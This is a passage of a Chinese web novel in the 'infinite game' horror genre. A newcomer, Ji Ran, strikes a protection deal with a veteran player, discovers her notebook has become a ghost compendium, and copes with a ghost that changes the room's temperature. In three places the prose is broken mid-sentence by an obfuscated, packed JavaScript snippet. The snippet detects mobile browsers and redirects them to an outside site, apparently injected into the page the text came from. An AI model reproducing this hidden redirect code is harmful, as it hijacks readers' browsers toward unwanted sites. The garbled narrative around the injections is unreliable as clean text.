楚昭敏锐地捕捉到了纪然身上那股不同寻常的气息,他的眼中掠过一抹短暂的惊疑。面对越来越贴近的距离,他显得略感不适,本能地向后撤了一步。 觉察到楚昭的反应,纪然更加确信了自己的猜测。她的嘴角慢慢勾起,继续逼近,手指已经触碰到了冰冷的洗漱台边缘,轻声道:“你的道具——” 楚昭后背抵到了墙壁,已经无处可退,而她抬起手臂:“你的特殊能力——” “全被封禁了吧。”纪然用陈述的口吻说完这一句,手指已经勾上了他的衣领,仿佛在无声地宣告着某种掌控权的确立。 楚昭抿着唇,眼眸里翻滚着说不清道不明的情绪。就在纪然手指即将要碰到他脖子的那一刻,他猛然醒悟,自己居然被区区一个新人给压制住了。 “你确实很聪明,但——”楚昭面无表情地看着她,唇角倏尔勾起一抹很淡的弧度。 他顺势攥住纪然的手腕,凭借一股力量将她牢牢地压在了墙面上,两人的位置瞬间逆转。 楚昭居高临下,缓缓道:“作为一名新人,你需要明白一个道理——” 一把匕首便悄无声息地出现在纪然的手中。 “没有硬实力,就不要试图惹怒一名高级玩家。” 很是认同这句话的纪然点了点头,模样乖巧。 与此同时,其锋利的刃尖正对准楚昭的腰部,只需稍稍用力,便能轻易刺破那层单薄的衣物。 “你……”楚昭的话顿住了。 尽管手腕上传来的束缚感和背部撞击墙面的疼痛交织在一起,纪然的脸上却挂着一副毫不在意的笑容,反问:“那么现在,你觉得谁更硬一点?” 70. 你叫一声我听听 深沉的黑色眼眸紧紧锁定纪然的目光,楚昭凝视了许久,带着一种打量式的审视,又像是带着深入灵魂的探究。 而她则不甘示弱地看回去,两人的眼神交锋如同一场无声的对决,彼此间的气势剑拔弩张,保持着这个姿势,谁也不让谁地僵持着。 空气似乎凝固了一般,两人的呼吸声在寂静的空间内显得格外清晰。 倏地,楚昭手上力道一松,手掌顺势撑在墙面上,将人如同一只待捕的猎物般圈入了自己的可控范围之内。 纪然的身体本能地绷紧,握紧了匕首,指节因用力而泛白,仿佛下一刻便会毫不犹豫地将锋利的刀尖刺向目标。 “你的胆识确实不小。”楚昭打破了沉默,他的身躯稍稍向后撤离了一些距离,垂下的视线透过两人之间狭窄的空隙,看到她手里正抵在自己腰部的匕首。 “谢谢,所以要跟我合作吗?”纪然坦然接受了他看似赞许实则带刺的话语,手指却始终紧紧握着那把匕首,未曾有半分松弛。 “这就是你所谓的合作方式——强行逼迫?”楚昭眼中闪过一丝讥讽,反问道,“你以为单凭一把普通匕首就能对我构成威胁?” “我从未试图以威胁的方式与你交流,”纪然眯起眼,直言不讳地说道,“我只是个新人,还没这么大能耐。既然我们都心存合作之意,何必还要在这绕圈子,玩弄文字游戏呢?” 她知道自己的匕首无法伤到这种老玩家,只不过想表明态度,需要合作就得拿出诚意,而不是只会从新人手里占便宜。他对此也心知肚明。 “你的动作可不算友好,”楚昭瞥了一眼她握着刀柄的手,嘴角勾起一抹似笑非笑的弧度,还是缓了口风,“跟你合作可以,但仅限于三次保护,其余免谈。” 闻言,纪然心里微松,虽然没有给六个人都争取到庇护,但能从一次讨价还价到三次,也算不错的结果了。况且,她只是个新人,拿什么跟高级玩家交易,无非就是两人现在互相画大饼。 如他所说,游戏里哪怕是剧情杀的必死局,也会给人留有一息尚存的余地。而第一小队的五人,即便是新玩家,但在技巧上心智上,甚至包括生存知识上,都要远超普通人。以他们的能力,很大概率能找到生存机会。 就连她这样的普通人,也拥有着能让人避开死亡的笔记本。或许之后这位老玩家还没来得及出手,他们就通关了。保护成了空谈,他们还要献出一份道具。不过,能多个保命的机会,没人会选择拒绝。 他也同样在赌,赌他们六人能开出他需要的道具。不然,他付出了行动,他们却没能开出道具,他就不得不吃这个哑巴亏。 希望高级玩家都能说话算数吧。 纪然轻轻叹了口气,将手中的匕首收回道具栏。银光一闪,尖锐的锋芒气息随之消散。 见事情谈成,给队友的生命加了三次保障,她心情好了很多,口嗨道:“那行吧,三次就三次。除了我,谁还这么宠你啊。” 楚昭强行忽略她的后半句话,既然双方已就合作事宜达成一致,再继续纠缠于口舌之争便显得多余。而且,还有一件新发现的事,也需要试探清楚。 不过,还没等他思索出怎么探清刚才纪然不同寻常的气息时,就被她的动作打断。 “身为合作伙伴,总得告诉我一件事吧。”说话时,纪然耳朵微动,嘴角挂着狡黠的笑意,忽然间迅速出手,抓住楚昭的衣领用力一拉,使他不得不俯身靠近自己。 两人的距离瞬间缩短,几乎能感受到彼此的呼吸。 就在此时,门锁被人从外面拧开,下一秒,随着门被推开,两道声音同时传入楚昭的耳里。 “我想知道你叫什么,也想知道你是怎么叫的。”纪然在他耳边低语,语气带着笑意,挑衅味十足。 “不好意思,我以为你们不在房间里。”带着歉意的温和男声在门口响起,语气里还有着难以掩饰的错愕。 听到两边的声音,楚昭一时僵住了,不知道自己该做出什么反应。 温热的气息喷洒在耳侧,如同上午在车里时一样,一股颤栗酥麻自耳垂扩散开来,蔓延至全身,仿佛电流穿透神经末梢,令他非常不适应。 而门被打开后,他们已经暴露在未知的镜头里,现在他们还处于扮演许灼的状态,他就无法对云初夏做出什么抗拒性的行为。 所以,这人是捕捉了他分心的瞬间,听到有人进来的动静,故意趁机玩他? 开门的是李新咏,饰演剧组的道具师陈南寻。按照剧情安排,他已经完成了其余三间房间的道具布置,来到最后一间纪然所在的房间时,发现大门敞开着,里面空无一人。 喊了一声却没人回应,为了不影响进度,李新咏在房间里布置好道具后,走向卫生间准备继续安放。然而,当他打开卫生间的门时,眼前的情景却让他愣在了原地。 里面两人之间的距离异常亲密,男人以一种几乎占有的姿态,手撑在墙壁上,身体微微前倾,形成一种似保护又似控制的姿势。 而女人则攥着他的衣领,仰起头与他颈项相交,耳鬓厮磨般在说些什么,暧昧的氛围中,总有种说不上来的违和感。 优秀的视力让李新咏能清晰地捕捉到男人那瞬间的肌肉绷起,以及纪然在扭头看过来时,对他眨了眨眼。对视的刹那,她似乎无声地传递了什么。 起码她看起来不像是受限于人的样子,李新咏移开视线,面色不变,声音里却带着几分窘迫:“抱歉,你们继续,继续。”话音刚落,他便关上了门。 随着卫生间门“砰”的一声关上,楚昭回过神,身子往后撤,抓着纪然的手腕拉开两人距离。 “我是楚昭。”他丢下这么一句话,收回手,也没询问她的名字,直接打开门出去了。 还在卫生间里的纪然,揉了揉刚才被握紧的手腕,垂下了眼帘。 他说的不是他叫什么,而是他是什么。这一字之差,代表的意思完全不一样。“我是”这两个字,不仅仅是一个简单的自我介绍,更是是一种身份的宣告。 所以,在无限游戏的众多玩家里,“楚昭”这个名字,肯定是有着知名度和影响力的地位存在。 想到这,纪然觉得之前谈成的合作,到底来说还是她这边赚了。虽然不清楚需要交出去的道具有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179155|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么作用,但能换强者的三次保护,相当于三条命。在这种随时会丧命的游戏里,没有什么比生命更具有价值了。 就在她准备离开卫生间时,突然想起来一件事。上午进副本之前,笔记本吃掉了她剩余的所有积分,显示的充能也不知道是在充什么,她也没来得及看笔记本有什么变化。 趁着现在处于没有镜头的空间里,纪然从道具栏里取出笔记本,目光陡然一顿。 笔记本的外观发生了显著变化,原本的黑色封面现在变成了深邃的暗红色。上面的鹿头图案不见了,取而代之的是一些奇异的符号和几个字—— 「鬼怪图鉴」 纪然眼里浮现出惊疑。这个笔记本,被人掉包了? 她连忙看向道具介绍,这可关系到她的小命。 「形态二·通灵之书」 「从***而来的神秘书本,拥有令无数人追求的强大力量,因****后受损,需要能量修复。」 「使用说明(一):会自动记录绑定者接触过的鬼怪信息,拥有与鬼怪通灵交流的能力。(通灵鬼怪等级不可超越绑定者自身等级,通灵将持续消耗绑定者体力)」 「使用说明(二):可将收服的鬼怪存于书内,绑定后的鬼怪无法背叛。(收服的鬼怪等级不可超过绑定者自身等级,当前通灵之书可收容数量:1)」 「注:已激活形态二,绑定者可在已解锁的两种形态内任意切换。(一场副本内仅可切换一次)」 「已绑定,其他人无法使用(绑定者:纪然)」 这是切形态了?从本子变成了书? 纪然翻开书页,映入眼帘的第一页不再是她过往行动轨迹的记录,而是图文并茂的介绍。 图片中展示的是一位她从未见过的男人,头部有明显的凹陷,似乎是被重物击打所致。而他脚上的鞋子,赫然就是纪然中午在公厕隔间门下缝隙中看见的那双! 「徐勇」 「男性,被石头砸破头颅而死于26岁。生前与程子宇为好友,曾协助他恐吓公厕里落单女性,后因双方理念不合,争执时被对方所杀。」 「特点:理智尚存,怨气较浅。」 「能力:放大对方的恐惧感,从视觉上吓唬对方。」 看到第二句时,纪然眼神一凝。当时在公厕里除了这个男人外,还有一个男人!那个人会是这上面提到的程子宇吗? 若真是这样,那么今天她在幻境中所看到的女生尸体,是真实发生过的事?岂不是说,那个女生在跟程子宇离去后就惨遭杀害了。 而后来假扮成楚昭模样接近她、试图欺骗她并被她反杀的鬼物,很可能就是这个程子宇。 她今天遇见的全是鬼? 如果他们都死了,怎么还会在厕所里发生那样的一幕,难道是鬼与鬼之间也像活人一样有变态有纷争? 按理说,鬼怪应该能察觉到活人的气息,那么,当时他们应该能够察觉到她的存在。如果他们无法感知,那么当她打开隔间门时,也不应该被另一只鬼拉进幻境里才对。 很奇怪,但纪然没想明白,于是她接着翻开下一页。 71. 第一天:第三幕2 第二页的图上是一团血肉模糊的人形,勉强能看出是名男性。 「程子宇」 「男性,生前与好友徐勇以及恋人谢念秋合伙作案。在与徐勇争执时失手杀死对方,为了灭口继而杀掉了被囚禁的柳榆,之后被枉死的柳榆报复,最终一片片切下自己的肉,死于27岁。」 「特点:外表温柔无害,报复心重。」 「能力:以现实为基础制造幻境。」 纪然翻书的手指停顿了。 这几段文字里透露出的信息可真多啊,还有这个死法……真是大快人心。 显而易见,她所陷入的幻境就是这个人,不,或者说是这个鬼弄出来的。不过,上面并没有提到它有伪装的能力,所以它应该还有个帮手,很大可能就是她没遇见过的谢念秋。 那么,当时在隔壁间里的女生,便是被囚禁后杀死的柳榆。 于是,纪然继续翻开下一页。 「柳榆」 「女性,被程子宇等人诱骗出公厕后囚禁起来,并遭受了非人的虐待,最终因撞破小团体内讧,目睹程子宇失手杀害同伴而被灭口,年仅19岁。」 「特点:神志不清,容易无差别攻击。」 「能力:情绪共享。」 当目光落在年龄上,纪然的眉头不自觉地紧锁。这个女生还这么小,都没来得及出社会,未来便全被那个混蛋给摧毁了,甚至死前还惨遭虐待。 她深吸一口气,平复心情,继续看下去。 第四页倒是出现了她没有碰见的那个鬼。 「谢念秋」 「女性,因心脏疾病需要大笔钱救治时,程子宇热心捐助。之后依赖上对方并与其成为恋人,在发现对方有狩猎年轻女生的违法行为后,选择了帮对方掩盖罪行并处理痕迹。后来在突然间感知到柳榆死之前的极端负面情绪,受到惊吓导致心脏超负荷,最终死于25岁。」 「特点:恋爱脑,心思细腻。」 「能力:能够伪装成其他人的模样。」 破案了,制造幻境和伪装就是这两人所为。只是先前她并没有察觉到谢念秋的存在。纪然猜测,谢念秋极有可能是伪装成自己的模样去骗楚昭了,所以楚昭才会在她出幻境后,表现出一副什么都知道的样子。这与程子宇伪装成楚昭来蒙蔽她的手法如出一辙。 这两个鬼生前还是情侣,配合之下又是伪装又是幻象,如果不是她跟楚昭现在处于演戏阶段,恐怕还真有可能会被骗到。 “咚咚。” 突如其来的敲门声打断了纪然的思绪,她把这本二形态的通灵之书放进道具栏,门外传来楚昭的声音:“他们要进来布置道具,你好了吗?” 听闻此言,纪然环顾了一圈卫生间,确认没问题后打开门走了出去。 李新咏提着包站在门口,夏黎和陈长风则扛着摄影机,正在拍摄室内的场景。三人见到她出来,都点点头打招呼。 随后,李新咏钻进卫生间里捣鼓着,陈长风则在门口调整镜头,捕捉他的一举一动。 纪然扫了一眼现场,意识到她与楚昭的室内戏份即将开始。趁着现在两个“摄影师”都在这个房间里,她得尽快溜出去跟叶柯说一下他们与老玩家合作的事宜。 打着借用厕所的旗号,纪然混进对面叶柯所在房间的卫生间。刚进去不久,她便迅速打开门,探出头来向叶柯求助:“水龙头好像有点问题,你能进来看一下吗?” 房间里除了叶柯外,还有一名饰演叶莜竹的女生——谢沫沫。她听到声音后,往这边淡淡地瞥了一眼,然后继续默默地整理她的行李箱。 待叶柯走进卫生间后,纪然言简意赅地跟她说了合作的事。 叶柯拧眉,在脑海里思索一番,意识到这份合作对他们来说实际上是非常有利的。毕竟即便他们在原来的世界有多大成就,一旦进入所谓的副本世界后,就要遵循这里的规则,只会处处受限。 而他们又还只是第一次参与副本的新人,只是用一个听起来似乎用处不大的道具,却能换取三次宝贵的保命机会,实属于老玩家发善心了。 哪怕这个道具是保命道具,能够保住一条生命固然重要,但若能保住三条生命,其价值自然不言而喻。 所以,这次谈话她们两飞快达成共识。之后由叶柯负责通过暗号通知第一小队的其他四人,纪然则继续与老玩家演戏,后续有问题的话,叶柯会找机会跟她说。 等纪然回到房间时,李新咏已经离开了,只剩下饰演摄影师的两名玩家在那晃悠。 见她回来,夏黎指了指门外,说:“刚才程导来过,他说等你回来就可以开始拍摄这房间里的下一段戏份了” 纪然轻轻点头,目光扫过夏黎身前的摄影机。 在她从叶柯房间出来时,便注意到走廊里多了几个人,是当时在大巴车里坐在最后一排的真正剧组工作人员。 这些人中,有的手持摄影设备,有的拿着道具,在走廊上忙碌着。而之前在临时化妆间里拉着她问情况的中年女性,也就是这次扮演剧本里导演这一角色的“秦文心”,站在走廊里按照要求念着台词。 瞧见纪然看过来,嘴里的台词还顿住了,直到身旁其他工作人员悄悄提醒才回过神,略带尴尬地继续念词。 纪然之前就看出来她是个新玩家,不过真没有想到,这个游戏竟然还会拉一些中年人进来,还以为全都是年轻人在这里玩命。 没再多想这些,她走到窗边小客厅的沙发上坐下。还没等夏黎思考清楚要怎么用一台摄影机拍出两个人的戏份时,扮演秦文心的钟玉珍走进了房间。 “先拍窗户,注意光线的运用,然后站到那边,从那个角度往这里拍摄,确保他们俩都能同时出现在镜头里……” 钟玉珍本身性格较为温和,但剧本中她所扮演的角色却相当强势。她只能努力回忆着以前在公司里,那些领导们高高在上的样子,一时倒模仿得倒也有模有样。 纪然没有抬头看她们两,调整一下坐姿,让整个人处于一种放松状态的姿势坐好,掏出手机颇有些无聊地滑动着屏幕。 剧情中有一段描述,提到会有一道黑影从化妆台的镜子里一闪而过。有意无意地调整着手机的角度,对着不远处的化妆台,偷偷拍摄了几张照片。 夏季灼热沉闷的空气随着敞开的窗户被吹进来,这个房间里确实热,连个空调都没有。纪然早就感觉到热,只有之前楚昭在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179156|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边上时还能凉快些,后来她去叶柯房间后,更是热得不行。 所以,要演出这一段汗流浃背的戏份倒不难。 她用手扇了扇风,本色出演地抱怨道:“真是热死了,这房间怎么连个空调都没有……” 在念完这句台词时,纪然瞥到化妆台的镜子里有什么东西飞快掠过。她心中一紧,果然,剧本里原本的灵异元素或许确实是道具以及后期特效合成出来的,但是放在无限游戏的副本,那将会变成现实。 楚昭半蹲在地上,收拾着两人行李箱的东西,剧组给他们准备的物资挺周全的,放眼看去像是真的来旅游似的,大到供两人换洗的几套衣物,小到家庭医疗箱和生活用品,应有尽有。 单从这些物资来看,他们在这个副本中确实有许多东西能够派上用场。这就证明了,也许这个剧本拍摄,不仅是演出来的那么简单。剧组如此周到的准备,显然是计划让他们今晚就住在这家宾馆,而不是拍完戏后返回到出发前的地方。 在听到她念完台词后,楚昭停下手里的动作,站起身接话:“我去看看能不能找老板要些冰块来,或许能凉快一些。” 说话间,他察觉到在自己提到“凉快”这两字时,侧对着的镜子里确实有黑影浮现。起初像是几滴墨水不小心溅到了镜面,但很快,那些黑色的痕迹开始扩散,逐渐汇聚成一团。 在他视线看过去时,那黑影仿佛从未存在过,瞬间消失得无影无踪。 纪然往楚昭的方向看了一眼,目光也有意无意地掠过镜子,然而什么都没看见。她没错过刚刚楚昭站起身后看向镜子的动作,只能说是那不知名的东西跑得还挺快的。 通过细小的动作,她能观察得出来,他之前在房间里,应该也没发现镜子里有不对劲的地方,不然他也不会跟她一样,若有若无地看向镜子。如果他原本就发现镜子里有情况,以老玩家的能力,不可能还留着祸害吧。 虽然很想去查探下镜子里到底有什么,但现在还在镜头下,她只好继续对戏。 很快,两人的几句台词说完,楚昭便走出房间,夏黎紧随其后。此时,房间里只剩下纪然一个人,而她进入了剧本的空白期。 试探性地走到化妆台前,镜子里除了她的镜像外,什么都没有。纪然伸出手轻触镜面,感受到的是一片冰凉,还有些许湿润。轻敲两下,镜面发出了清脆的回响。 她盯着镜子里的自己看了一会儿,时不时变换表情和小动作,镜像也完美地同步着,没有任何异常。 奇了怪了,她看过的小说里,关于镜子最多的描写都是讲着,镜子里的镜像是另一个人,而在照镜子时,里面的镜像会与自己本人做出不一样的动作或表情。 还有一种说法,是说触碰镜子后,人会进入另一个平行世界;或者在触摸之后,被镜中的倒影交换了身份,自己被困在镜子里,而倒影则取代了自己在现实世界中的位置。 她瞧了半天,这几种都不是。 很快,门外就传来有人靠近的脚步声。在听到的声音的那一刻,纪然很明显的感受到,房间里的气温在瞬间直降十几度。 下一秒,楚昭的声音在门外响起:“纪然,帮我开下门,我空不出手。” 72. 两只鬼 听到声音的纪然缓缓叹了口气,这些鬼怎么回事,都喜欢装成楚昭的样子来骗她。 本来乍一听到熟悉的声音还真以为是楚昭回来了,但是她很清楚地记得,因为房间里过于闷热,他出去时并没关门。而且,最重要的一点是,她从来没告诉过楚昭,自己的名字是什么。 虽然她在幻境里杀掉了伪装后的程子宇,不过谁也不知道作为现实里虚无缥缈似的鬼,在副本里究竟有没有实体,甚至说,是不是真的被杀死了。 或许,门外的存在,是另一个鬼。 还偷偷把房门给她关上了,要不是突如其来的降温,以原来的室内温度,她真的会生气。 纪然走到床边的行李箱旁,打开后里面装满了各式的女性衣物。她蹲下身,双手在衣物堆里摸索,无声地从道具栏里取出笔记本。在混进衣服堆里时,她再自然而然地装作刚找到的模样,拿起这本《鬼怪图鉴》。 随后,她走向门边,并没有开门的打算,也没有通过猫眼向外窥视,生怕看到什么恶心的东西。万一就因为看了一眼猫眼,而触发了鬼怪的某种规则,让它直接能进来,那不就完了。 之前在公厕里也是隔着门,就能被通灵之书收录到信息,现在理应也可以。所以,纪然翻开了书页。 「走廊游魂」 「无性别,不知在走廊里游荡了多久的一缕幽魂,白天很少出现。总是感到饥饿,依赖于吞噬人类的恐惧来填饱肚子,随着时间的积累,已经有着初级鬼物的实力。」 「特点:对人类恶意极大,无法离开走廊。」 「能力:模仿人类的声音,能够吸取目标的恐惧化为自身力量。」 咦,纪然还以为会像前几页那样,记录着鬼怪生前的故事,但这次却出乎她的意料,呈现在她眼前的居然是正儿八经的信息介绍。 一个无法离开走廊的鬼,会模仿别人的声音,岂不是意味着它可能只能通过诱骗让人走进走廊,那它还关门做什么?而且,只要她不出去,它就无法对她构成威胁。 所以纪然没有被它的存在所干扰,而是重新坐回了沙发上。 坐下后不久,她突然想到了一个矛盾点——介绍里并没有提到走廊游魂具备降低温度的能力。而在剧本中提到的降温现象,似乎与镜子中的黑影有关。 出于好奇,纪然翻到了笔记本的第六页,却发现页面上一片空白。 怎么还没有收录? 室内的温度还在持续下降,她的手臂暴露在冷空气中,已经起了一层鸡皮疙瘩。 奇怪,即便是剧本里的降温,也没这么离谱啊,感觉短短几分钟内,从炎夏进入了严冬。纪然瞧见自己呼出的白雾,忍不住去翻了翻行李箱,里面全是夏季的衣裳。 这鬼该不会是想要用降温逼迫她开门出去吧? 不对,剧本里的云初夏并没有意识到房间里的冷,在许灼问她的时候,还说没有感觉到冷。那么自己就不能加衣服,否则就是极为明显的OOC。 默默收回手的纪然:钱难挣,屎难吃。 在原地徘徊了几圈,纪然努力克制住想要搓手臂以求温暖的本能冲动。 能感受到刺骨的寒意不断侵袭着她的身体,仿佛每一次呼吸都带着冰碴,顺着呼吸道滑入体内,渗入四肢百骸,将滚烫的血液碎裂成凛冽的雪。 她的目光在房间内快速扫视,窗户明明是敞开着,外面烈阳高悬,却透不进来丝毫热度。她走到窗边尝试了一番,发现整个房间像是被陷入了封锁状态,有着无形的空气墙阻挡着她从窗户出去。 不行,再不加衣服她真的要冻死在这里了。 苦什么都不能苦了自己,剧本里透露出来的信息只代表不能因为冷而加衣服,却没说不能因为别的原因多穿几件。 纪然思忖一番,又蹲回行李箱边上,拿起一条长裙,动作夸张地抖开,忍着语气里的颤抖故意自言自语道:“要不要穿一下新买的裙子呢?给他一个惊喜。” 正当准备将裙子套在身上时,她突然意识到自己今天出了不少汗,而且还没有洗澡。行李箱里的衣服是她接下来几天在副本世界中要穿的,如果弄脏了,那可就不好了。 现在房间里明显有异常,这个时候去洗澡,且不说会不会发生什么浴室灵异事件,光是想到可能有鬼会偷看,她就排除了这个想法。 于是,纪然的目光慢慢转向了楚昭的行李箱。他的箱子摊开在地上,里面整齐地堆叠着衣物。 老玩家,应该不会缺衣服穿吧? 拿起一件男装,纪然迅速编织了一个让自己角色行为合理的理由,继续自言自语:“小说里经常写着男生都喜欢自己女朋友穿他的衣服,我还没穿过男装呢,要不试试穿他的衣服?” 说是这么说的,她往自己身上套衣服套裤子的动作可不慢。尽管手指因为寒冷而变得有些僵硬,不太灵活,但她的动作依然迅速,很快就穿戴整齐。 “哎~要不一次多试几件吧,男装好像都挺好看的。”纪然一边随口敷衍着人设,一边继续往自己身上套衣服。 丝毫不觉得自己同时穿好几件衣服会显得很怪异,能保暖就够了,她连防晒衣都套上了。 穿这么多,虽然因为这些夏装的袖子较短,手臂依然暴露在寒冷的空气中,但至少身体其他部分感到了明显的暖意。纪然不动声色地揉了揉手臂,加速血液循环。 还没等她暖和多久,房间里突然开始升温。纪然察觉到气温不对劲,正准备有所行动时,门突然被人从外推开。 楚昭端着一盆子冰块走进来,在看见房内的人后,他陷入了沉默。 套了一堆衣服把自己裹成粽子的纪然,双手刚放在衣摆处准备脱下,听到声音后扭头,与他面面相觑。 最怕空气突然安静。 纪然:“……” 不是,他怎么就直接进来了,走廊里的鬼呢? 感受到了房间内虽然温度有所下降,却还是有些沉闷的热意。楚昭的视线落在她身上,眼神有些复杂:“……你在干嘛?” 纪然嘴唇嗫嚅几下,不知道怎么解释。天杀的,这个鬼毁她清白! 随着时间的流逝,气温迅速攀升。短短十几秒的时间里,房间里的空气就变得令人燥热难耐,热浪席卷着身体的每一块皮肤。 垂眸看了眼手中一盆子的冰块,楚昭组织了半天语言:“……你看起来好像也不是很热?” “……”别说了,别说了,纪然开始脚趾扣地。 他视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179157|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线扫过床边地上的行李箱,想说些什么,又吞了回去,最后憋出一句:“要不我身上这件也给你?” 纪然:“……” 她心中涌动着前所未有的冲动,想把房间里那个改变温度的鬼物揪出来狠狠爆锤,不把它打到魂飞魄散她就不姓纪! 房间里的温度持续上升,纪然一层层脱下衣服,一边脱一边在心里骂骂咧咧,这鬼是不是有病? 咬牙切齿又尴尬到极点地脱下不属于她的衣服后,纪然走到小客厅拿起冰块敷了把脸,强行转移话题:“摄影师怎么没跟着?” 听到问话,楚昭从衣服堆上收回视线,拿起纸巾递给她擦脸上的水珠,答非所问:“你洗澡了吗?” 纪然有些心虚,避开了他的视线,把人拉进卫生间里,关上门后问他:“这里有镜头吗?” 楚昭抬眼扫视了一遍这处空间,回答道:“没有。” 听到回答,纪然迫切地想要了解情况,连忙问他:“刚才你回来时有没有在走廊遇见什么?” “嗯?”楚昭眼神微动,“我该遇到什么?” 纪然觉得这件事没有必要隐瞒,她直截了当地说:“走廊里有一只鬼,你离开后它就模仿你的声音,想要诱骗我开门出去。不过,我怀疑房间门不是它关的,可能是镜子里的那个。” 意识到宾馆里不止一只鬼后,楚昭很快想明白了房间里的异常,问:“房间温度与它有关?” 纪然点了点头:“当时房间里的温度几乎降到了冰点,直到你回来,温度才突然升高。” “所以,你穿上了我的衣服?”楚昭的语气里听不出任何情绪。 “……”顿了几秒,纪然轻咳两声,“这不是重点,主要是降温的那位,它的触发条件是什么我们并不清楚,如果温度再次突然变化,而我们在不OOC的情况下很难自圆其说。” 楚昭不为所动:“哦,所以你就穿我衣服,洗澡了吗?” 纪然:“……” 这家伙怎么油盐不进啊! 于是,她微微一笑,很是慷慨地说:“都是副本剧组安排的东西,以我们两的关系,还需要分得这么清吗?反正你我的衣服都是情侣款的,实在不行,你可以穿我的裙子。” “……”楚昭被哽了一下,抿了抿嘴,转移话题,“降温这一幕处于剧本的空白期,我走之后你在房间里做了什么?” 谈及正事,纪然也没了调侃的想法,回想起当时的情景,说:“你走后我检查了化妆台的镜子,没发现有什么异常。” “镜子?”楚昭搭在手臂上的手指轻点,想到出门前的一出细节,“或许与提及的词语有关。” “什么意思?”纪然不明所以,怎么还有她没发现的线索? “出门前我曾念过一句台词,”他看向洗漱台上方的镜子,缓缓道,“‘找老板要些冰块来,或许能凉快一些’。在说出‘凉快’这个词时,镜子里有浮现出黑色痕迹。” 纪然蹙眉,猜测道:“难道这鬼的能力是我们能声控的?可是后来你进门时,我们还没说一句话,房间里的温度又升上去了。” 这么一说,两人都想到一种可能。 “时间限制。”纪然和楚昭异口同声地说出这四个字。 73. 第一天:第三幕3 纪然“啧”了一声,怎么早不到晚不到的,偏偏在楚昭回来时就时间到了,尴尬得她差点连夜退出副本。 “光是剧本里写到的部分,就能感受到它的能力绝不止控温这么简单。现在最大的问题是,我们怎么把它揪出来。”纪然摸了摸下巴,她知道,楚昭已经拿了冰块回来,他们两的戏份马上就要开始演了,没有多少时间在这里慢慢研究。 这个副本所谓的拍电影,实际上无论是真导演程松云,还是玩家饰演的导演秦文心,感觉这两人似乎并不经常露面。摄影师也总是神出鬼没的,让人难以确定他们玩家们究竟有没有被拍摄进去。 离谱的是,在缺乏导演指导和评价下,剧情确实有在推进。就,全靠他们自己意会。 “到晚上自然就清楚了。”楚昭语气平淡。 “诶,不管它了吗?”纪然有些诧异,“晚上的戏份感觉有点危险,而且还有一段其他玩家的剧情杀。现在不处理掉它,等晚上它会不会趁乱袭击我们?” “把‘们’去掉,”楚昭瞥了她一眼,“你要是能钻进去把它抓出来,我现在就可以处理掉它。” 早在一开始检查房间时,他就重点观察过化妆台的镜子,除了有些阴气外,瞧不出有什么异样。显然,这个鬼物没有在白天出来的打算,也并不准备向他出手。 而他现在能力和道具全被封禁,仅凭肉身是无法把它抓出镜子,需要等它自己出来。那么最好的时机便是等晚上的混乱时刻,有面前这位走哪都能撞鬼的人在,丝毫不用担心引不出来它。或许,还能趁机多消灭几只鬼物,提高些副本掉率。 纪然撇嘴,听懂了这只鬼不会在白天出来的意思,没再纠结这个。而走廊里的那只鬼就更好处理了,既然以恐惧为食,就代表着在她产生恐惧前,那鬼对她的威胁是有限的。 好比准备吃一个小蛋糕,总不会有人在饿着肚子准备享用之前,就把蛋糕给扔掉了吧? 虽然她不是很想把自己比作鬼怪的食物。 离开卫生间回到房间里,纪然从背包里摸出纸笔,扬了扬手上的东西,说:“那我们继续拍摄吧,房间里的这段马上就结束了。” 下一幕是他们一群人去餐馆吃饭的情节,会碰到一些小麻烦。说实话,在灵异副本里吃饭,纪然都担心碗里装的不是饭菜,而是让人反胃的虫子啥的。 这还不是最恐怖的,因为他们现在的对手戏里,还有一段很尴尬的行为要演。 不行,她得想个合理的法子避开这段。 而楚昭在准备说台词时,察觉到下一句里也包含着与温度有关的字词,他话音一转,没有继续念台词,反而改词问:“你要不要先去洗个澡?” 纪然:? 不是,他又搁这内涵她什么? 原本她只是想避开这段有接触的剧情,但他这么说,一下子激起了她的逆反心理。 “你的意思是说我臭了?我臭了就不是你的宝贝了吗?出门一趟回来就嫌弃我了?那你不要靠近我。”怎么膈应人纪然就怎么说,一连串的问话直接脱口而出,反正很符合云初夏这个人设。 楚昭:? 他也仅是想避免说出带有冷热相关的台词,在符合人设的情况下转移话题。而她这问句三连,让人怎么回答? 好在楚昭虽没谈过恋爱,但这种东西没吃过猪肉还能没见过猪跑吗,他自己编不出来还不能借鉴吗? 